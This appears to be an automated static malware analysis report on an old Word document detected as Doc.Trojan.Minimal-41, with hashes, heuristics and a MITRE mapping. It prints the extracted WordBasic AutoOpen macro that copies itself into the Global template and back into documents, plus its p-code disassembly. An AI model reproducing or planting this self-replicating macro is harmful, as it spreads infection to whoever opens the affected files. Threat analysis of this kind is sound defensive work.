Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 6e17738a36935507…

MALICIOUS

Office (OLE)

26.0 KB Created: 1997-02-19 15:51:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: c3805108d406ecf159e07c16cf147fb7 SHA-1: 2a6c5b3dfdd6e0b5fd40789fea0165e9420ff85b SHA-256: 6e17738a369355078f6aaa59ee919dde4970e021d3c30acb7e13a784c3d1eeae
200 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The file is identified as malicious by ClamAV and contains a legacy WordBasic macro named 'AutoopeN'. This macro is designed to copy itself, which is a common technique for obfuscating or preparing for the execution of further malicious actions. No other malicious behavior was directly observed in the provided evidence.

Heuristics 4

  • ClamAV: Doc.Trojan.Minimal-41 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Minimal-41
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1241 bytes
SHA-256: 2b2d3fc1dbcc62470ee198fbbcfd298bbf9c37e18e7f1b76b940a129beb36a7a
Detection
ClamAV: Doc.Trojan.Minimal-41
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "AutoopeN"

Public Sub MAIN()
Dim a$
Dim b$
On Error Resume Next: a$ = WordBasic.[FileName$]() + ":AutoopeN"
b$ = "Global:aUTOOPEn": WordBasic.MacroCopy a$, b$
WordBasic.MacroCopy b$, a$
End Sub

' Processing file: /opt/analyzer/scan_staging/28de973c5fea4bfaafecbb220573eb36.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 903 bytes
' Macros/VBA/AutoopeN - 1177 bytes
' Line #0:
' Line #1:
' 	FuncDefn (Public Sub MAIN())
' Line #2:
' 	Dim 
' 	VarDefn a
' Line #3:
' 	Dim 
' 	VarDefn B
' Line #4:
' 	OnError (Resume Next) 
' 	BoS 0x0000 
' 	Ld WordBasic 
' 	ArgsMemLd [FileName$] 0x0000 
' 	LitStr 0x0009 ":AutoopeN"
' 	Add 
' 	St a$ 
' Line #5:
' 	LitStr 0x000F "Global:aUTOOPEn"
' 	St B$ 
' 	BoS 0x0000 
' 	Ld a$ 
' 	Ld B$ 
' 	Ld WordBasic 
' 	ArgsMemCall MacroCopy 0x0002 
' Line #6:
' 	Ld B$ 
' 	Ld a$ 
' 	Ld WordBasic 
' 	ArgsMemCall MacroCopy 0x0002 
' Line #7:
' 	EndSub